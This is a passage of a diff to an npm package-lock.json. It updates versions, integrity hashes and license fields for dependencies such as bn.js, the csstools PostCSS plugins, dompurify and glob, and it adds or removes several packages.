"integrity": "sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==",
"dev": true,
+ "license": "MIT",
"engines": {
"node": ">=4.0.0"
}
@@ -22854,7 +24430,6 @@
"version": "1.0.3",
"resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz",
"integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==",
- "dev": true,
"license": "MIT"
},
"node_modules/cors": {
@@ -22890,9 +24465,9 @@
}
},
"node_modules/create-ecdh/node_modules/bn.js": {
- "version": "4.12.2",
- "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.2.tgz",
- "integrity": "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw==",
+ "version": "4.12.3",
+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz",
+ "integrity": "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g==",
"dev": true,
"license": "MIT"
},
@@ -23006,29 +24581,51 @@
"resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz",
"integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==",
"dev": true,
+ "license": "MIT",
"engines": {
"node": ">=8"
}
},
"node_modules/css-blank-pseudo": {
- "version": "5.0.2",
- "resolved": "https://registry.npmjs.org/css-blank-pseudo/-/css-blank-pseudo-5.0.2.tgz",
- "integrity": "sha512-aCU4AZ7uEcVSUzagTlA9pHciz7aWPKA/YzrEkpdSopJ2pvhIxiQ5sYeMz1/KByxlIo4XBdvMNJAVKMg/GRnhfw==",
+ "version": "8.0.1",
+ "resolved": "https://registry.npmjs.org/css-blank-pseudo/-/css-blank-pseudo-8.0.1.tgz",
+ "integrity": "sha512-C5B2e5hCM4llrQkUms+KnWEMVW8K1n2XvX9G7ppfMZJQ7KAS/4rNnkP1Cs+HhWriOz1mWWTMFD4j1J7s31Dgug==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"dependencies": {
- "postcss-selector-parser": "^6.0.10"
+ "postcss-selector-parser": "^7.1.1"
},
"engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
+ "node_modules/css-blank-pseudo/node_modules/postcss-selector-parser": {
+ "version": "7.1.1",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz",
+ "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
"node_modules/css-declaration-sorter": {
"version": "6.4.1",
"resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.4.1.tgz",
@@ -23043,37 +24640,88 @@
}
},
"node_modules/css-has-pseudo": {
- "version": "5.0.2",
- "resolved": "https://registry.npmjs.org/css-has-pseudo/-/css-has-pseudo-5.0.2.tgz",
- "integrity": "sha512-q+U+4QdwwB7T9VEW/LyO6CFrLAeLqOykC5mDqJXc7aKZAhDbq7BvGT13VGJe+IwBfdN2o3Xdw2kJ5IxwV1Sc9Q==",
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/css-has-pseudo/-/css-has-pseudo-8.0.0.tgz",
+ "integrity": "sha512-Uz/bsHRbOeir/5Oeuz85tq/yLJLxX+3dpoRdjNTshs6jjqwUg8XaEZGDd0ci3fw7l53Srw0EkJ8mYan0eW5uGQ==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/selector-specificity": "^2.0.1",
- "postcss-selector-parser": "^6.0.10",
+ "@csstools/selector-specificity": "^6.0.0",
+ "postcss-selector-parser": "^7.1.1",
"postcss-value-parser": "^4.2.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
- "node_modules/css-prefers-color-scheme": {
- "version": "8.0.2",
- "resolved": "https://registry.npmjs.org/css-prefers-color-scheme/-/css-prefers-color-scheme-8.0.2.tgz",
- "integrity": "sha512-OvFghizHJ45x7nsJJUSYLyQNTzsCU8yWjxAc/nhPQg1pbs18LMoET8N3kOweFDPy0JV0OSXN2iqRFhPBHYOeMA==",
+ "node_modules/css-has-pseudo/node_modules/@csstools/selector-specificity": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-6.0.0.tgz",
+ "integrity": "sha512-4sSgl78OtOXEX/2d++8A83zHNTgwCJMaR24FvsYL7Uf/VS8HZk9PTwR51elTbGqMuwH3szLvvOXEaVnqn0Z3zA==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "peerDependencies": {
+ "postcss-selector-parser": "^7.1.1"
+ }
+ },
+ "node_modules/css-has-pseudo/node_modules/postcss-selector-parser": {
+ "version": "7.1.1",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz",
+ "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/css-prefers-color-scheme": {
+ "version": "11.0.0",
+ "resolved": "https://registry.npmjs.org/css-prefers-color-scheme/-/css-prefers-color-scheme-11.0.0.tgz",
+ "integrity": "sha512-fv0mgtwUhh2m9iio3Kxc2CkrogjIaRdMFaaqyzSFdii17JF4cfPyMNX72B15ZW2Nrr/NZUpxI4dec1VMHYJvdw==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "engines": {
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
@@ -23128,9 +24776,9 @@
"dev": true
},
"node_modules/cssdb": {
- "version": "7.10.0",
- "resolved": "https://registry.npmjs.org/cssdb/-/cssdb-7.10.0.tgz",
- "integrity": "sha512-yGZ5tmA57gWh/uvdQBHs45wwFY0IBh3ypABk5sEubPBPSzXzkNgsWReqx7gdx6uhC+QoFBe+V8JwBB9/hQ6cIA==",
+ "version": "8.8.0",
+ "resolved": "https://registry.npmjs.org/cssdb/-/cssdb-8.8.0.tgz",
+ "integrity": "sha512-QbLeyz2Bgso1iRlh7IpWk6OKa3lLNGXsujVjDMPl9rOZpxKeiG69icLpbLCFxeURwmcdIfZqQyhlooKJYM4f8Q==",
"dev": true,
"funding": [
{
@@ -23141,7 +24789,8 @@
"type": "github",
"url": "https://github.com/sponsors/csstools"
}
- ]
+ ],
+ "license": "MIT-0"
},
"node_modules/cssesc": {
"version": "3.0.0",
@@ -23262,30 +24911,20 @@
"node": ">=8.0.0"
}
},
- "node_modules/cssom": {
- "version": "0.5.0",
- "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.5.0.tgz",
- "integrity": "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw==",
- "dev": true
- },
"node_modules/cssstyle": {
- "version": "2.3.0",
- "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz",
- "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==",
+ "version": "4.6.0",
+ "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-4.6.0.tgz",
+ "integrity": "sha512-2z+rWdzbbSZv6/rhtvzvqeZQHrBaqgogqt85sqFNbabZOuFbCVFb8kPeEtZjiKkbrm395irpNKiYeFeLiQnFPg==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "cssom": "~0.3.6"
+ "@asamuzakjp/css-color": "^3.2.0",
+ "rrweb-cssom": "^0.8.0"
},
"engines": {
- "node": ">=8"
+ "node": ">=18"
}
},
- "node_modules/cssstyle/node_modules/cssom": {
- "version": "0.3.8",
- "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz",
- "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==",
- "dev": true
- },
"node_modules/csstype": {
"version": "3.1.3",
"resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz",
@@ -23569,9 +25208,9 @@
}
},
"node_modules/d3-format": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.0.tgz",
- "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==",
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.2.tgz",
+ "integrity": "sha512-AJDdYOdnyRDV5b6ArilzCPPwc1ejkHcoyFarqlPqT7zRYjhavcT3uSrqcMvsgh2CgoPbK3RCwyHaVyxYcP2Arg==",
"license": "ISC",
"engines": {
"node": ">=12"
@@ -23805,9 +25444,9 @@
}
},
"node_modules/dagre-d3-es": {
- "version": "7.0.13",
- "resolved": "https://registry.npmjs.org/dagre-d3-es/-/dagre-d3-es-7.0.13.tgz",
- "integrity": "sha512-efEhnxpSuwpYOKRm/L5KbqoZmNNukHa/Flty4Wp62JRvgH2ojwVgPgdYyr4twpieZnyRDdIH7PY2mopX26+j2Q==",
+ "version": "7.0.14",
+ "resolved": "https://registry.npmjs.org/dagre-d3-es/-/dagre-d3-es-7.0.14.tgz",
+ "integrity": "sha512-P4rFMVq9ESWqmOgK+dlXvOtLwYg0i7u0HBGJER0LZDJT2VHIPAMZ/riPxqJceWMStH5+E61QxFra9kIS3AqdMg==",
"license": "MIT",
"dependencies": {
"d3": "^7.9.0",
@@ -23830,17 +25469,17 @@
}
},
"node_modules/data-urls": {
- "version": "3.0.2",
- "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-3.0.2.tgz",
- "integrity": "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ==",
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz",
+ "integrity": "sha512-ZYP5VBHshaDAiVZxjbRVcFJpc+4xGgT0bK3vzy1HLN8jTO975HEbuYzZJcHoQEY5K1a0z8YayJkyVETa08eNTg==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "abab": "^2.0.6",
- "whatwg-mimetype": "^3.0.0",
- "whatwg-url": "^11.0.0"
+ "whatwg-mimetype": "^4.0.0",
+ "whatwg-url": "^14.0.0"
},
"engines": {
- "node": ">=12"
+ "node": ">=18"
}
},
"node_modules/data-view-buffer": {
@@ -23938,9 +25577,10 @@
}
},
"node_modules/decimal.js": {
- "version": "10.4.3",
- "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.3.tgz",
- "integrity": "sha512-VBBaLc1MgL5XpzgIP7ny5Z6Nx3UrRkIViUkPUdtl9aya5amy3De1gsUUSB1g3+3sExYNjCAsAznmukyxCb1GRA=="
+ "version": "10.6.0",
+ "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz",
+ "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==",
+ "license": "MIT"
},
"node_modules/decode-named-character-reference": {
"version": "1.0.2",
@@ -24233,12 +25873,18 @@
}
},
"node_modules/diffie-hellman/node_modules/bn.js": {
- "version": "4.12.2",
- "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.2.tgz",
- "integrity": "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw==",
+ "version": "4.12.3",
+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz",
+ "integrity": "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g==",
"dev": true,
"license": "MIT"
},
+ "node_modules/dingbat-to-unicode": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/dingbat-to-unicode/-/dingbat-to-unicode-1.0.1.tgz",
+ "integrity": "sha512-98l0sW87ZT58pU4i61wa2OHwxbiYSbuxsCBozaVnYX2iCnr3bLM3fIes1/ej7h1YdOKuKt/MLs706TVnALA65w==",
+ "license": "BSD-2-Clause"
+ },
"node_modules/dlv": {
"version": "1.1.3",
"resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz",
@@ -24308,19 +25954,6 @@
],
"license": "BSD-2-Clause"
},
- "node_modules/domexception": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/domexception/-/domexception-4.0.0.tgz",
- "integrity": "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw==",
- "deprecated": "Use your platform's native DOMException instead",
- "dev": true,
- "dependencies": {
- "webidl-conversions": "^7.0.0"
- },
- "engines": {
- "node": ">=12"
- }
- },
"node_modules/domhandler": {
"version": "5.0.3",
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz",
@@ -24337,10 +25970,13 @@
}
},
"node_modules/dompurify": {
- "version": "3.3.0",
- "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.3.0.tgz",
- "integrity": "sha512-r+f6MYR1gGN1eJv0TVQbhA7if/U7P87cdPl3HN5rikqaBSBxLiCb/b9O+2eG0cxz0ghyU+mU1QkbsOwERMYlWQ==",
+ "version": "3.3.2",
+ "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.3.2.tgz",
+ "integrity": "sha512-6obghkliLdmKa56xdbLOpUZ43pAR6xFy1uOrxBaIDjT+yaRuuybLjGS9eVBoSR/UPU5fq3OXClEHLJNGvbxKpQ==",
"license": "(MPL-2.0 OR Apache-2.0)",
+ "engines": {
+ "node": ">=20"
+ },
"optionalDependencies": {
"@types/trusted-types": "^2.0.7"
}
@@ -24375,6 +26011,15 @@
"resolved": "https://registry.npmjs.org/downloadjs/-/downloadjs-1.4.7.tgz",
"integrity": "sha512-LN1gO7+u9xjU5oEScGFKvXhYf7Y/empUIIEAGBs1LzUq/rg5duiDrkuH5A2lQGd5jfMOb9X9usDa2oVXwJ0U/Q=="
},
+ "node_modules/duck": {
+ "version": "0.1.12",
+ "resolved": "https://registry.npmjs.org/duck/-/duck-0.1.12.tgz",
+ "integrity": "sha512-wkctla1O6VfP89gQ+J/yDesM0S7B7XLXjKGzXxMDVFg7uEn706niAtyYovKbyq1oT9YwDcly721/iUWoc8MVRg==",
+ "license": "BSD",
+ "dependencies": {
+ "underscore": "^1.13.1"
+ }
+ },
"node_modules/dunder-proto": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
@@ -24412,6 +26057,7 @@
"resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz",
"integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==",
"dev": true,
+ "license": "Apache-2.0",
"dependencies": {
"jake": "^10.8.5"
},
@@ -24423,9 +26069,9 @@
}
},
"node_modules/electron-to-chromium": {
- "version": "1.5.254",
- "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.254.tgz",
- "integrity": "sha512-DcUsWpVhv9svsKRxnSCZ86SjD+sp32SGidNB37KpqXJncp1mfUgKbHvBomE89WJDbfVKw1mdv5+ikrvd43r+Bg==",
+ "version": "1.5.302",
+ "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.302.tgz",
+ "integrity": "sha512-sM6HAN2LyK82IyPBpznDRqlTQAtuSaO+ShzFiWTvoMJLHyZ+Y39r8VMfHzwbU8MVBzQ4Wdn85+wlZl2TLGIlwg==",
"license": "ISC"
},
"node_modules/elliptic": {
@@ -24445,9 +26091,9 @@
}
},
"node_modules/elliptic/node_modules/bn.js": {
- "version": "4.12.1",
- "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.1.tgz",
- "integrity": "sha512-k8TVBiPkPJT9uHLdOKfFpqcfprwBFOAAXXozRubr7R7PfIuKvQlzcI4M0pALeqXN09vdaMbUdUj+pass+uULAg==",
+ "version": "4.12.3",
+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz",
+ "integrity": "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g==",
"dev": true,
"license": "MIT"
},
@@ -24507,19 +26153,6 @@
"node": ">=0.10.0"
}
},
- "node_modules/encoding-sniffer/node_modules/whatwg-encoding": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz",
- "integrity": "sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==",
- "deprecated": "Use @exodus/bytes instead for a more spec-conformant and faster implementation",
- "license": "MIT",
- "dependencies": {
- "iconv-lite": "0.6.3"
- },
- "engines": {
- "node": ">=18"
- }
- },
"node_modules/enhanced-resolve": {
"version": "5.17.1",
"resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.17.1.tgz",
@@ -24788,47 +26421,6 @@
"node": ">=0.12"
}
},
- "node_modules/esbuild": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.1.tgz",
- "integrity": "sha512-BGO5LtrGC7vxnqucAe/rmvKdJllfGaYWdyABvyMoXQlfYMb2bbRuReWR5tEGE//4LcNJj9XrkovTqNYRFZHAMQ==",
- "dev": true,
- "hasInstallScript": true,
- "license": "MIT",
- "bin": {
- "esbuild": "bin/esbuild"
- },
- "engines": {
- "node": ">=18"
- },
- "optionalDependencies": {
- "@esbuild/aix-ppc64": "0.25.1",
- "@esbuild/android-arm": "0.25.1",
- "@esbuild/android-arm64": "0.25.1",
- "@esbuild/android-x64": "0.25.1",
- "@esbuild/darwin-arm64": "0.25.1",
- "@esbuild/darwin-x64": "0.25.1",
- "@esbuild/freebsd-arm64": "0.25.1",
- "@esbuild/freebsd-x64": "0.25.1",
- "@esbuild/linux-arm": "0.25.1",
- "@esbuild/linux-arm64": "0.25.1",
- "@esbuild/linux-ia32": "0.25.1",
- "@esbuild/linux-loong64": "0.25.1",
- "@esbuild/linux-mips64el": "0.25.1",
- "@esbuild/linux-ppc64": "0.25.1",
- "@esbuild/linux-riscv64": "0.25.1",
- "@esbuild/linux-s390x": "0.25.1",
- "@esbuild/linux-x64": "0.25.1",
- "@esbuild/netbsd-arm64": "0.25.1",
- "@esbuild/netbsd-x64": "0.25.1",
- "@esbuild/openbsd-arm64": "0.25.1",
- "@esbuild/openbsd-x64": "0.25.1",
- "@esbuild/sunos-x64": "0.25.1",
- "@esbuild/win32-arm64": "0.25.1",
- "@esbuild/win32-ia32": "0.25.1",
- "@esbuild/win32-x64": "0.25.1"
- }
- },
"node_modules/escalade": {
"version": "3.2.0",
"resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
@@ -24866,27 +26458,6 @@
"url": "https://github.com/sponsors/sindresorhus"
}
},
- "node_modules/escodegen": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz",
- "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==",
- "dev": true,
- "dependencies": {
- "esprima": "^4.0.1",
- "estraverse": "^5.2.0",
- "esutils": "^2.0.2"
- },
- "bin": {
- "escodegen": "bin/escodegen.js",
- "esgenerate": "bin/esgenerate.js"
- },
- "engines": {
- "node": ">=6.0"
- },
- "optionalDependencies": {
- "source-map": "~0.6.1"
- }
- },
"node_modules/eslint": {
"version": "9.39.1",
"resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.1.tgz",
@@ -25326,9 +26897,9 @@
}
},
"node_modules/eslint/node_modules/ajv": {
- "version": "6.12.6",
- "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
- "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+ "version": "6.14.0",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz",
+ "integrity": "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==",
"dev": true,
"license": "MIT",
"dependencies": {
@@ -25663,12 +27234,12 @@
}
},
"node_modules/express-rate-limit": {
- "version": "8.2.1",
- "resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-8.2.1.tgz",
- "integrity": "sha512-PCZEIEIxqwhzw4KF0n7QF4QqruVTcF73O5kFKUnGOyjbCCgizBBiFaYpd/fnBLUMPw/BWw9OsiN7GgrNYr7j6g==",
+ "version": "8.3.0",
+ "resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-8.3.0.tgz",
+ "integrity": "sha512-KJzBawY6fB9FiZGdE/0aftepZ91YlaGIrV8vgblRM3J8X+dHx/aiowJWwkx6LIGyuqGiANsjSwwrbb8mifOJ4Q==",
"license": "MIT",
"dependencies": {
- "ip-address": "10.0.1"
+ "ip-address": "10.1.0"
},
"engines": {
"node": ">= 16"
@@ -25934,9 +27505,9 @@
"license": "BSD-3-Clause"
},
"node_modules/fast-xml-parser": {
- "version": "5.3.6",
- "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.3.6.tgz",
- "integrity": "sha512-QNI3sAvSvaOiaMl8FYU4trnEzCwiRr8XMWgAHzlrWpTSj+QaCSvOf1h82OEP1s4hiAXhnbXSyFWCf4ldZzZRVA==",
+ "version": "5.3.8",
+ "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.3.8.tgz",
+ "integrity": "sha512-53jIF4N6u/pxvaL1eb/hEZts/cFLWZ92eCfLrNyCI0k38lettCG/Bs40W9pPwoPXyHQlKu2OUbQtiEIZK/J6Vw==",
"funding": [
{
"type": "github",
@@ -26040,27 +27611,12 @@
"moment": "^2.29.1"
}
},
- "node_modules/file-type": {
- "version": "18.7.0",
- "resolved": "https://registry.npmjs.org/file-type/-/file-type-18.7.0.tgz",
- "integrity": "sha512-ihHtXRzXEziMrQ56VSgU7wkxh55iNchFkosu7Y9/S+tXHdKyrGjVK0ujbqNnsxzea+78MaLhN6PGmfYSAv1ACw==",
- "dependencies": {
- "readable-web-to-node-stream": "^3.0.2",
- "strtok3": "^7.0.0",
- "token-types": "^5.0.1"
- },
- "engines": {
- "node": ">=14.16"
- },
- "funding": {
- "url": "https://github.com/sindresorhus/file-type?sponsor=1"
- }
- },
"node_modules/filelist": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.4.tgz",
- "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==",
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.6.tgz",
+ "integrity": "sha512-5giy2PkLYY1cP39p17Ech+2xlpTRL9HLspOfEgm0L6CwBXBTgsK5ou0JtzYuepxkaQ/tvhCFIJ5uXo0OrM2DxA==",
"dev": true,
+ "license": "Apache-2.0",
"dependencies": {
"minimatch": "^5.0.1"
}
@@ -26076,10 +27632,11 @@
}
},
"node_modules/filelist/node_modules/minimatch": {
- "version": "5.1.6",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz",
- "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==",
+ "version": "5.1.9",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.9.tgz",
+ "integrity": "sha512-7o1wEA2RyMP7Iu7GNba9vc0RWWGACJOCZBJX2GJWip0ikV+wcOsgVuY9uE8CPiyQhkGFSlhuSkZPavN7u1c2Fw==",
"dev": true,
+ "license": "ISC",
"dependencies": {
"brace-expansion": "^2.0.1"
},
@@ -26397,15 +27954,15 @@
}
},
"node_modules/fraction.js": {
- "version": "4.3.7",
- "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.3.7.tgz",
- "integrity": "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew==",
- "dev": true,
+ "version": "5.3.4",
+ "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz",
+ "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==",
+ "license": "MIT",
"engines": {
"node": "*"
},
"funding": {
- "type": "patreon",
+ "type": "github",
"url": "https://github.com/sponsors/rawify"
}
},
@@ -26631,7 +28188,8 @@
"version": "3.0.2",
"resolved": "https://registry.npmjs.org/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz",
"integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==",
- "dev": true
+ "dev": true,
+ "license": "ISC"
},
"node_modules/get-package-type": {
"version": "0.1.0",
@@ -26701,18 +28259,18 @@
}
},
"node_modules/glob": {
- "version": "13.0.0",
- "resolved": "https://registry.npmjs.org/glob/-/glob-13.0.0.tgz",
- "integrity": "sha512-tvZgpqk6fz4BaNZ66ZsRaZnbHvP/jG3uKJvAZOwEVUL4RTA5nJeeLYfyN9/VA8NX/V3IBG+hkeuGpKjvELkVhA==",
+ "version": "13.0.6",
+ "resolved": "https://registry.npmjs.org/glob/-/glob-13.0.6.tgz",
+ "integrity": "sha512-Wjlyrolmm8uDpm/ogGyXZXb1Z+Ca2B8NbJwqBVg0axK9GbBeoS7yGV6vjXnYdGm6X53iehEuxxbyiKp8QmN4Vw==",
"dev": true,
"license": "BlueOak-1.0.0",
"dependencies": {
- "minimatch": "^10.1.1",
- "minipass": "^7.1.2",
- "path-scurry": "^2.0.0"
+ "minimatch": "^10.2.2",
+ "minipass": "^7.1.3",
+ "path-scurry": "^2.0.2"
},
"engines": {
- "node": "20 || >=22"
+ "node": "18 || 20 || >=22"
},
"funding": {
"url": "https://github.com/sponsors/isaacs"
@@ -26729,36 +28287,59 @@
"node": ">=10.13.0"
}
},
- "node_modules/glob/node_modules/lru-cache": {
- "version": "11.2.2",
- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.2.2.tgz",
